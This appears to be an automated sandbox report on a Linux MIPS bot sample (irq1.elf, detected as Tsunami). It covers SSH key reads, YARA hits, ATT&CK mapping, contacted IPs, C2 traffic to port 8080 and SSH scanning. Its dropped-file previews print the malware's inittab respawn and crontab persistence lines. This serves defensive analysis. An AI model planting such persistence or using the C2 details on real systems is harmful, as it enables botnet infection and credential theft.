Source: /tmp/irq1.elf (PID: 5963)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5964)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5967)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5968)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5970)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5973)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5976)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5979)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5994)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6073)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6075)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6077)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6079)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6081)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6082)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6097)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6132)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6134)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6135)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 6138)	SSH config: /root/.ssh/config	Jump to behavior

Tries to read the SSH private key file

Source: /tmp/irq1.elf (PID: 5725)

SSH private key file: /root/.ssh/id_rsa

Jump to behavior

Remote Access Functionality

Yara detected Tsunami

Source: Yara match	File source: 5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5437, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5686, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5694, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5718, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5721, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5723, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5727, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5729, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5731, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5733, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5735, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5738, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5739, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5741, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5745, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5747, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5750, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5751, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5822, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5952, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Systemd Service	1 Systemd Service	1 Hide Artifacts	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Hidden Files and Directories	LSASS Memory	3 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scripting	Logon Script (Windows)	1 Timestomp	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Indicator Removal	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
irq1.elf	39%	ReversingLabs	Linux.Trojan.Generic
irq1.elf	100%	Avira	LINUX/AVI.Bot.wqslj

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
170.137.44.87	unknown	United States	11685	HNBCOL-ASUS	false
170.64.175.186	unknown	United States	16761	FEDMOG-ASN-01US	false
170.116.33.191	unknown	United States	22347	DORSEY-WHITNEYUS	false
170.208.3.249	unknown	United States	11188	LACOUNTY-ISDUS	false
170.66.196.242	unknown	Brazil	11993	BANCODOBRASILSABR	false
170.239.50.132	unknown	Argentina	52271	CoopEnergiaElectyOtrosServiciosLasVarillasAR	false
170.226.224.83	unknown	United States	11685	HNBCOL-ASUS	false
170.155.142.187	unknown	Argentina	27967	GobernaciondelaProvinciadeBuenosAiresAR	false
170.185.20.194	unknown	United States	8030	WORLDNET5-10US	false
170.13.28.92	unknown	United States	27283	RJF-INTERNETUS	false
170.10.33.33	unknown	United States	11976	FIDNUS	false
170.92.43.246	unknown	United States	16595	TOROUS	false
170.113.88.98	unknown	United States	22347	DORSEY-WHITNEYUS	false
170.181.57.134	unknown	United States	11685	HNBCOL-ASUS	false
170.203.115.246	unknown	United States	17166	TRAVELERSPCASUS	false
170.43.112.136	unknown	United States	264957	CoopercitrusCooperativadeProdutoresRuraisBR	false
170.174.220.54	unknown	United States	11685	HNBCOL-ASUS	false
170.28.153.181	unknown	United States	12187	MTAHQ1US	false
170.148.247.197	unknown	United States	32066	JPMORGANCHASE-DALLAS-JIPUS	false
170.213.207.25	unknown	United States	46274	UPHSUS	false
170.175.91.234	unknown	Canada	11685	HNBCOL-ASUS	false
170.83.93.72	unknown	Brazil	52817	NEWCENTERTELECOMBR	false
170.91.247.225	unknown	United States	7018	ATT-INTERNET4US	false
170.67.215.162	unknown	United States	11993	BANCODOBRASILSABR	false
170.131.193.150	unknown	United States	13954	STAPLESUS	false
170.98.11.19	unknown	United States	18980	PEACEHEALTHUS	false
170.93.24.200	unknown	United States	15196	MDDOTUS	false
170.64.13.21	unknown	United States	16761	FEDMOG-ASN-01US	false
170.75.195.250	unknown	United States	197560	VDISGB	false
170.53.49.62	unknown	United States	54640	CONEHEALTHUS	false
170.247.225.87	unknown	Mexico	32098	TRANSTELCO-INCUS	false
170.133.239.244	unknown	Canada	395965	CARRY-TELECOMCA	false
170.209.16.77	unknown	United States	11188	LACOUNTY-ISDUS	false
170.102.242.28	unknown	Sweden	209236	HCLTECHNOLOGIES-SE	false
170.11.14.76	unknown	United States	1621	ASN-SECURIANUS	false
170.178.181.55	unknown	United States	46844	ST-BGPUS	false
66.172.9.3	unknown	United States	11051	CYBERVERSEUS	true
170.100.149.57	unknown	United States	18980	PEACEHEALTHUS	false
170.171.15.34	unknown	United States	11790	RANDOMHOUSEUS	false
170.212.24.175	unknown	United States	46274	UPHSUS	false
170.36.13.92	unknown	United States	264957	CoopercitrusCooperativadeProdutoresRuraisBR	false
170.169.238.170	unknown	Mexico	2134	GSVNET-ASGSVirtualNetworkProdubanES	false
170.145.90.27	unknown	United States	2048	LANET-1US	false
170.118.23.94	unknown	United States	22347	DORSEY-WHITNEYUS	false
170.1.14.163	unknown	United States	264957	CoopercitrusCooperativadeProdutoresRuraisBR	false
170.101.182.155	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
170.180.231.3	unknown	United States	11685	HNBCOL-ASUS	false
170.22.108.72	unknown	United States	6102	CBSCORPORATEUS	false
170.61.103.111	unknown	United States	22260	THE-BANK-OF-NEW-YORK-MELLON-CORPORATION-PERSHING2US	false
170.15.57.226	unknown	United States	27283	RJF-INTERNETUS	false
170.46.142.3	unknown	United States	18697	AS18697US	false
170.46.76.122	unknown	United States	18697	AS18697US	false
170.90.106.142	unknown	United States	64208	VIRTUSTREAM-VGN-US	false
170.53.239.74	unknown	United States	54640	CONEHEALTHUS	false
170.153.44.0	unknown	United States	27265	CERIDIAN-CANADACA	false
170.198.165.56	unknown	United States	11685	HNBCOL-ASUS	false
170.130.24.6	unknown	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	false
170.172.149.200	unknown	United States	11685	HNBCOL-ASUS	false
170.36.206.235	unknown	United States	264957	CoopercitrusCooperativadeProdutoresRuraisBR	false
170.92.218.121	unknown	United States	16595	TOROUS	false
170.11.158.252	unknown	United States	1621	ASN-SECURIANUS	false
170.160.140.118	unknown	United States	11685	HNBCOL-ASUS	false
170.144.49.68	unknown	United States	4152	USDA-1US	false
170.175.74.189	unknown	Canada	11685	HNBCOL-ASUS	false
170.8.225.73	unknown	United States	19372	NCOGROUP-FTWUS	false
170.162.37.102	unknown	United States	6900	AS6900DE	false
170.132.252.182	unknown	United States	11685	HNBCOL-ASUS	false
170.165.189.213	unknown	Singapore	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
170.143.114.154	unknown	United States	4454	TNET-ASUS	false
170.75.184.135	unknown	United States	40196	WILLISNORTHAMERICAUS	false
170.130.113.232	unknown	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	false
170.64.100.45	unknown	United States	16761	FEDMOG-ASN-01US	false
170.158.181.0	unknown	United States	55002	DEFENSE-NETUS	false
170.17.42.30	unknown	United States	26039	ATHENE-USAUS	false
170.170.53.114	unknown	United States	7726	FITC-ASUS	false
170.22.59.116	unknown	United States	18540	RECOVERYPOINTSYSTEMSUS	false
170.62.149.106	unknown	United States	15854	HP_WEBSERVICESDE	false
170.243.26.23	unknown	United States	11685	HNBCOL-ASUS	false
170.132.206.7	unknown	United States	11685	HNBCOL-ASUS	false
170.55.91.117	unknown	United States	33132	FIBERNET-DIRECTUS	false
170.9.37.40	unknown	United States	36590	EMERSON-ELECTRICUS	false
170.197.199.160	unknown	United States	11685	HNBCOL-ASUS	false
170.203.95.101	unknown	United States	17166	TRAVELERSPCASUS	false
170.117.24.184	unknown	United States	22347	DORSEY-WHITNEYUS	false
170.135.13.62	unknown	United States	3147	US-BANCORPUS	false
170.88.235.187	unknown	United States	11215	LOGIXCOMM-ASUS	false
170.171.28.151	unknown	United States	11790	RANDOMHOUSEUS	false
170.2.29.103	unknown	United States	13598	DAIMLERTRUCKS-NA-ASUS	false
170.248.202.2	unknown	United States	21433	ACCENTUREFSSCLondonDCGB	false
170.197.234.71	unknown	United States	11685	HNBCOL-ASUS	false
170.172.121.235	unknown	United States	11685	HNBCOL-ASUS	false
170.208.160.22	unknown	United States	11188	LACOUNTY-ISDUS	false
170.127.245.64	unknown	United States	23486	NETSPANUS	false
170.111.97.148	unknown	United States	20311	VALEROUS	false
170.234.237.227	unknown	United States	11685	HNBCOL-ASUS	false
170.122.22.16	unknown	United States	54314	LHA-2-ASNUS	false
170.138.10.147	unknown	United States	14045	CHANGEHEALTHCAREUS	false
170.159.177.241	unknown	United States	46158	OCMBOCESUS	false
170.85.45.213	unknown	United States	265001	PRComunicacaoLtdaBR	false
170.161.105.35	unknown	United States	11516	ASN-ESBUS	false

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	pty.elf	Get hash	malicious	Tsunami	Browse	162.213.35.24
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	bin.armv6l.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	na.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FEDMOG-ASN-01US	na.elf	Get hash	malicious	Mirai	Browse	170.74.23.50
	yMg23n1D5d.elf	Get hash	malicious	Mirai, Moobot	Browse	170.74.11.78
	http://tsretires.co/CZNFFSN	Get hash	malicious	Unknown	Browse	170.64.222.84
	53QoH91Zg3.exe	Get hash	malicious	Unknown	Browse	170.64.216.180
	https://www.aweber.com/z/r/?bGxsHGwcnLRMDGyMTEysDJxstEa0rBzMLOxsDAw=	Get hash	malicious	Unknown	Browse	170.64.222.84
	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	170.74.23.32
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	170.76.41.247
	N0w3MjnsVX.elf	Get hash	malicious	Mirai	Browse	170.64.218.63
	OC7nZiO3Be.elf	Get hash	malicious	Mirai	Browse	170.64.233.246
	botx.x86.elf	Get hash	malicious	Mirai	Browse	170.68.164.208
HNBCOL-ASUS	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	170.175.86.91
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	170.162.24.213
	v0uOxVFw09.elf	Get hash	malicious	Mirai	Browse	170.237.33.33
	armv7l.elf	Get hash	malicious	Unknown	Browse	170.181.187.54
	armv6l.elf	Get hash	malicious	Unknown	Browse	170.168.240.137
	Q6gqt5HiOS.elf	Get hash	malicious	Mirai	Browse	170.137.243.52
	na.elf	Get hash	malicious	Mirai	Browse	170.137.218.93
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	170.174.163.176
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	170.178.91.180
	HUWwCrf0mn.elf	Get hash	malicious	Mirai, Okiru	Browse	170.236.1.102
DORSEY-WHITNEYUS	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	170.113.24.243
	na.elf	Get hash	malicious	Unknown	Browse	170.118.73.89
	na.elf	Get hash	malicious	Mirai	Browse	170.118.73.79
	https://docs.zoom.us/doc/qMqlDrh-RUWwdmI-mAClTg	Get hash	malicious	HTMLPhisher	Browse	170.114.11.84
	https://docs.zoom.us/doc/c63Sae4RQ6OyTcxmh_zLzw?from=email&data=05%7C02%7CRyan.Deiter@americansignature.com%7Ce3b8b957491b4e36dfd108dcde65b619%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638629775655136517%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=%7C0%7C%7C%7C&sdata=RMvLQDF1y92hR5HKChbiO0e0aKONAOKzPjDkQ4i5MTY=&reserved=0	Get hash	malicious	Unknown	Browse	170.114.52.83
	Information.xlsx	Get hash	malicious	Unknown	Browse	170.114.11.84
	yMg23n1D5d.elf	Get hash	malicious	Mirai, Moobot	Browse	170.113.127.8
	https://tinyurl.com/NDCEurope	Get hash	malicious	Unknown	Browse	170.114.45.6
	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	170.113.72.169
	Meeting.msc	Get hash	malicious	Unknown	Browse	170.114.52.2

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/inittab

Download File

Process:	/usr/bin/cat
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.418157288156418
Encrypted:	false
SSDEEP:	3:IQfXzsFR:IQgR
MD5:	4B6C8B3E85F69B4D6E5DC7E21E0E080C
SHA1:	8BE6ABB1B0A2748C2A71B3DCD94DADEF5EB461D8
SHA-256:	0CEA0534EE5C7E568506ED12B4B7F76974E671217EBDDCEECF5F1B5A6509A691
SHA-512:	6AA245A878E3E0F52B29E1728841C31A5EC5686B9B6829108EB6A7B18963C24861BE56D4F421E836ACF5723DC0E86350D6DC676E724FC971F4C8D85E5F7FDABE
Malicious:	true
Reputation:	low
Preview:	0:2345:respawn:/tmp/irq1.elf.

/etc/inittab2

Download File

Process:	/bin/sh
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.418157288156418
Encrypted:	false
SSDEEP:	3:IQfXzsFR:IQgR
MD5:	4B6C8B3E85F69B4D6E5DC7E21E0E080C
SHA1:	8BE6ABB1B0A2748C2A71B3DCD94DADEF5EB461D8
SHA-256:	0CEA0534EE5C7E568506ED12B4B7F76974E671217EBDDCEECF5F1B5A6509A691
SHA-512:	6AA245A878E3E0F52B29E1728841C31A5EC5686B9B6829108EB6A7B18963C24861BE56D4F421E836ACF5723DC0E86350D6DC676E724FC971F4C8D85E5F7FDABE
Malicious:	false
Reputation:	low
Preview:	0:2345:respawn:/tmp/irq1.elf.

/run/.x00740882966

Download File

Process:	/bin/sh
File Type:	ASCII text
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.0101286386653285
Encrypted:	false
SSDEEP:	3:3P11waKTtaATsFz:IBTtaAgFz
MD5:	B8A197653FA38BB8F6CD05C260DB1D1D
SHA1:	9A5E041DBD2C418A6D52F63F4710950AB1CCD73E
SHA-256:	CF9172A18E28040A394C7D9452B17214D4BCC6DD2CF6A73DC68A359FC4DB1580
SHA-512:	5E653A8A10BDDDBA19A8843C7FBEAB79B9FE8EF7E05029AA4399C33B568E43A5D6E84827F4A0B670217961AB353DEED948F643065C2DFC367AA2C95D02822E91
Malicious:	true
Reputation:	low
Preview:	* * * * * /tmp/irq1.elf > /dev/null 2>&1 &.

/var/spool/cron/crontabs/tmp.yCJy74

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	239
Entropy (8bit):	5.185981708253876
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1K+1xuwYJOBFQLv9rF4qZHGMQ5UYLtCFt39YBTtaAgFz:8QjAwl8VFJeHLU9YFtLY
MD5:	2E7E131BD85D48369E0328358DBBB254
SHA1:	AECFF4D457D8A7507169170790898F3FC316C199
SHA-256:	75406182FA48A417B479944326DE11913AF0426C0F5DC7CFA20D68841B732E40
SHA-512:	9BEF76CADB5737C652FD21F9BDB2A54CC3A5C82DE47983DEBADFBACF93A3570ED71835CFCDFDD45B543FEE2EC9BB38FA5770C84C0A50A635ECF4BC4FA10CF94C
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (/var/run/.x00740882966 installed on Tue Oct 22 11:06:52 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).* * * * * /tmp/irq1.elf > /dev/null 2>&1 &.

Static File Info

General

File type:	ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), too many section (65535)
Entropy (8bit):	7.9989856629224185
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	irq1.elf
File size:	523'052 bytes
MD5:	2aa1abc12fdf779dbe4e71ed20111bce
SHA1:	fee772fa1e9c94d9b89ffa3fa89df08c4a1fe84f
SHA256:	a1f211877e5ac29682f07d0b97d02ee936ed02f3355b68d7163b3336164d85f6
SHA512:	e9b95f9c28e39fa3c57f921ac2e55f5ee1b22d3664b8059f53610b059e620230ff63db7d39a5a9c256f39aa99d1b1333f4bd0acefe44bd826048c60b4e5c6fc0
SSDEEP:	6144:21cNQ3N/6H7bvnWGSTOk/Gsw6apMBNedo+nS2Ref6zIfcxnjL/Va+wjdIBKPO7QZ:2CQd/SVV2PsfssIfyn/U+sm7Q380/
TLSH:	7CB4238EE902B1E8B59C7CF6E4454248F5B6269B6C47F8AFBA0D956D2C021D07CE3F41
File Content Preview:	.ELF.....................^.....4....P....4. ...(.............@...@...........................W...W.....,...,........B.................7...7........n.......?.E.h4....K.:.b.........%Q..X.lI..O)....-...D=.O........\roo.M.8..TJ..2...1~.9....nQ3..T..ZOf`5.$)+.

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 18:06:53.286967993 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:53.292668104 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:53.292747974 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.293448925 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.298981905 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.462105036 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.462352037 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.465157986 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.470469952 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.470550060 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.475893021 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.476021051 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.481304884 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.481586933 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.487113953 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.487864971 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.493201017 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.494179964 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.499530077 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.499631882 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.504906893 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.504955053 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:06:54.510270119 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.621920109 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:06:54.626673937 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:08.380472898 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:08.380897999 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:08.444869995 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:08.450257063 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:09.195822001 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:09.195888042 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:10.383568048 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:10.383758068 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:10.435079098 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:10.440445900 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:10.808094978 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:10.808165073 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:12.390052080 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:12.390307903 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:14.394279003 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:14.402868032 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:15.181221962 CEST	54218	22	192.168.2.13	170.100.149.57
Oct 22, 2024 18:10:15.186901093 CEST	22	54218	170.100.149.57	192.168.2.13
Oct 22, 2024 18:10:15.186954021 CEST	54218	22	192.168.2.13	170.100.149.57
Oct 22, 2024 18:10:15.187424898 CEST	54218	22	192.168.2.13	170.100.149.57
Oct 22, 2024 18:10:15.191139936 CEST	34222	22	192.168.2.13	170.171.15.34
Oct 22, 2024 18:10:15.192842960 CEST	22	54218	170.100.149.57	192.168.2.13
Oct 22, 2024 18:10:15.196540117 CEST	22	34222	170.171.15.34	192.168.2.13
Oct 22, 2024 18:10:15.196600914 CEST	34222	22	192.168.2.13	170.171.15.34
Oct 22, 2024 18:10:15.197796106 CEST	34222	22	192.168.2.13	170.171.15.34
Oct 22, 2024 18:10:15.203074932 CEST	60866	22	192.168.2.13	170.57.193.7
Oct 22, 2024 18:10:15.203138113 CEST	22	34222	170.171.15.34	192.168.2.13
Oct 22, 2024 18:10:15.205513000 CEST	43988	22	192.168.2.13	170.170.53.114
Oct 22, 2024 18:10:15.208590984 CEST	22	60866	170.57.193.7	192.168.2.13
Oct 22, 2024 18:10:15.208667994 CEST	60866	22	192.168.2.13	170.57.193.7
Oct 22, 2024 18:10:15.209764004 CEST	60866	22	192.168.2.13	170.57.193.7
Oct 22, 2024 18:10:15.210967064 CEST	22	43988	170.170.53.114	192.168.2.13
Oct 22, 2024 18:10:15.211019039 CEST	43988	22	192.168.2.13	170.170.53.114
Oct 22, 2024 18:10:15.213759899 CEST	43988	22	192.168.2.13	170.170.53.114
Oct 22, 2024 18:10:15.215163946 CEST	22	60866	170.57.193.7	192.168.2.13
Oct 22, 2024 18:10:15.219228029 CEST	22	43988	170.170.53.114	192.168.2.13
Oct 22, 2024 18:10:15.233268023 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:15.233493090 CEST	35754	22	192.168.2.13	170.101.182.155
